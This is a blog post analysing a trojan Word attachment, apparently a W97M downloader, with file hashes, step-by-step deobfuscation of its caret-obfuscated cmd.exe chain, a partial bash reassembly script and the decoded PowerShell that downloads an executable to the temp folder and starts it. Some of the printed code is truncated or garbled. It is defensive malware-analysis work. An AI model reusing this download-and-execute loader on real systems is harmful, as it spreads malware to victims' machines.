An email with a trojan Microsoft Word document made it past the spam filter today at work. At least one user reported opening the attachment.

The attachment was named: DOCO943488.doc, but running the file through it was clear that it’s been known by other names..

screenshot from

To help affected people find this page here are some hashes of the file:

MD5: 1f692eb039d73ca5cb3fde95263ba93a
SHA1: bc3549d15b2801b4e6058991031b5f799bbad9fe
SHA256: a989a2bcab4cea78ee6c5ae18e6c19a54cd9e2fe47b43a1ec38c9fd41adc5a4e

I *think* the script inside of the Word Document is the W97M.Downloader

I decided to take a closer look, and document my process in case it is helpful to anyone else.

user@host:~$ file DOCO943488.doc
DOCO943488.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Nov 15 16:38:00 2018, Last Saved Time/Date: Thu Nov 15 16:38:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0

Nothing too surprising here, guess it’s a Word Doc..

I’ve added some line breaks and ellipses for formatting and brevity in the output below, but I haven’t changed any relevant details.

Lets see if the binutils “strings” command can shed any light on this

user@host:~$ strings DOCO943488.doc |head
c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"^se^t ^u^O=s^s.s^a&&s^e
^t tF^U^x=^b&&s^e^t ^h^u^f=^str^e&&s^e^t 3^H^5=^t^ ^-&&^set s^WD^p=^'&&^s^e^t v^M^5V=^.&&^s^et
j^lN=^hr&&^s^et hX^s^P=vc&&s^e^t rzSu=^h&&s^e^t ^j^2n=n^ ^$&&s^et ^htk=^w&&^se^t ^8^d=c&&^s^et

Hmm, looks like something is here, maybe if I remove some carets it will be more clear.

user@host:~$ strings DOCO943488.doc |sed 's/\^//g' |head
c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set tFUx=b
&&set huf=stre&&set 3H5=t -&&set sWDp='&&set vM5V=.&&set jlN=hr&&set hXsP=vc&&set rzSu=h&&set
j2n=n $&&set htk=w&&set 8d=c&&set jkZg=d&&set Dm=v&&set vC0H=;&&set wvs=eB&&set 3zN=.&&set u1=:&&

Yeah that’s looking better, looks like they’re running a bunch of commands in the cmd.exe Command Prompt. Let’s look at them one per line instead of chained together with “&&“s.

user@host:~$ strings DOCO943488.doc |sed 's/\^//g' |sed 's/&&/\n/g' |head
c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set
set tFUx=b
set huf=stre
set 3H5=t -
set sWDp='

Huh, OK, looks like they are setting a bunch of variables with tiny bits of text so as to obfuscate what’s happening. Let’s look at some lines that don’t just begin with “set” to see what the script is doing with all these bits.

user@host:~$ strings DOCO943488.doc |sed 's/\^//g' |sed 's/&&/\n/g' |grep -ve ^set |head
c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set
call set UJ4=%Y1eE%%fQDi%%Ut%%hYq%%J2%%Rkvf%%0E%%UDO%%mN4%%R3r4%%Ts%%wyO%%WS4%%MJ%...
call %UJ4%"

The first line that doesn’t begin with “set” we’ve already seen, it’s the command prompt statement, ignoring that and moving on we see that they are setting a new variable called UJ4 with a value made up from the values of all of the little obfuscated parts we saw earlier. Finally they are executing whatever commands are inside that obfuscated value.

We need to know the value inside of UJ4, which we can get by looking up the value to all the “set” statements in the order they appear inside of the “set UJ4” line.

Let’s save this to a file (script.txt) so we can unravel the mystery

user@host:~$ strings DOCO943488.doc |sed 's/\^//g' |sed 's/&&/\n/g' >script.txt

Next a quick bash script to reassemble the obfuscated parts in the correct order


obfuscated="$(grep -m1 'set UJ4' script.txt)"


while [ "${#obfuscated}" -gt 0 ];
        if [ "${obfuscated:0:1}" == '%' ]; then
                # Lookup var value
                value="$(grep -m1 "set ${obfuscated%%'%'*}" script.txt)"
                if [ -n "$value" ]; then

                # Append literal


echo "$plain"

Run that to get our results…

user@host:~$ ./
powershell $swA='Rpt';$tWX='http://icxturkeyscom/e@'.Split('@');$SiC=([.ystem.IO.Path]::GetTempPath()+'\jqI.exe');$dIO =New-Object -com 'msxml2.xmlhttp';$lss = New-Object -com '';foreach($ZsC in $tWX){try{$'GET',$ZsC,0);$dIO.send();$;$lss.type = 1;$lss.write($dIO.responseBod$);$lss.savetofile($SiC);Start-Process $SiC;break}catch{}}

Hmm, another layer to the onion, looks like the cmd.exe commands generates a powershell script. Let’s format a little cleaner

user@host:~$ ./ |sed 's/;/;\n/g'
powershell $swA='Rpt';
$dIO =New-Object -com 'msxml2.xmlhttp';
$lss = New-Object -com '';
foreach($ZsC in $tWX){try{$'GET',$ZsC,0);
$lss.type = 1;
Start-Process $SiC;

OK good, looks like this is the bottom of the rabbit hole.

Taking a look, we’ve got an array ($tWX) of URLs:


They use the msxml2.xmlhttp COM object ($dIO) to open a connection to each server ($ZsC) in the list and if successful use ($lss) to write the downloaded contents into a file ($SiC) named “jqI.exe” in the temporary directory returned by GetTempPath.

I think this means if a user opened this attachment and it executed properly there would be a file named jqI.exe in the directory specified in the first defined environment variable in the following ordered list of environment variables: %TMP%, %TEMP%, %USERPROFILE%, and finally if all else fails %WINDIR%.

Unfortunately all of the URLs in the list returned “403 Forbidden” when I attempted to get a sample of the malicious executable. I say “unfortunately”, but I suppose this is all for the best, as it hopefully means many people who opened this attachment might have been spared some of the consequences. The first URL in the list isn’t even valid, I’m not sure if this was something I did, or the malware author did (I bet the latter). “” does resolve, perhaps that’s what it was supposed to be although there was no malicious payload to be found there either.

Still, it was possible that one of our users might have gotten the malicious executable before it was removed from all the servers. Luckily we force all local DNS traffic through our own server and keep pretty robust logging of queries there. After consulting those logs it was clear to me that even the one user who reported opening the attachment did not execute the malicious script.

While it feels like a bit of work for nothing, I think the effort was still worth it for the peace of mind (and also maybe a little bit of fun as well).

UPDATE: Since writing this a few more emails have come through with only slightly modified versions of the first script.

I’ve modified the bash script to work with the sample files I have, hopefully other Doc files infected with W97M (if that is what this is) can also be used.

If you want a copy you can download it here:

The script takes one argument, the name of the Doc file, and outputs the list of URLs that the downloader fetches from.

Here are the sums of some other files I’ve used this with

Name: Express - 4QHJ67386155378293.doc
MD5: 2fbd99c8b3bbde8a84732dc05ae85281
SHA1: baa1e5b1ad75fff04b448c97a6847e7389a700f8
SHA256: 522a44fe5b0f334e2191919fc7861a2234ee0eb1815e3f4875271edd7320f3cb  

Name: FILEO8346.doc
MD5: 8a9969b083e3f893375f1d583b2f5c96
SHA1: 8e32ce09cce9578d8ac2897ca07702df5b34e703
SHA256: c9e3f794ef01c043dcc79c7fcf8c040bb6a9fd20b91bcba0f2af61438b536bb5

So far the following hosts have been found to be listed:

1 thought on “Finding Malware URLs in W97M infected Word Docs”


It was not a waste of time. If you had not done that work you would still be wondering exactly what happened and what kind of remediation is necessary if at all.

Excellent work on that “onion”
I learned from the example of your work, thank you

Post your comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.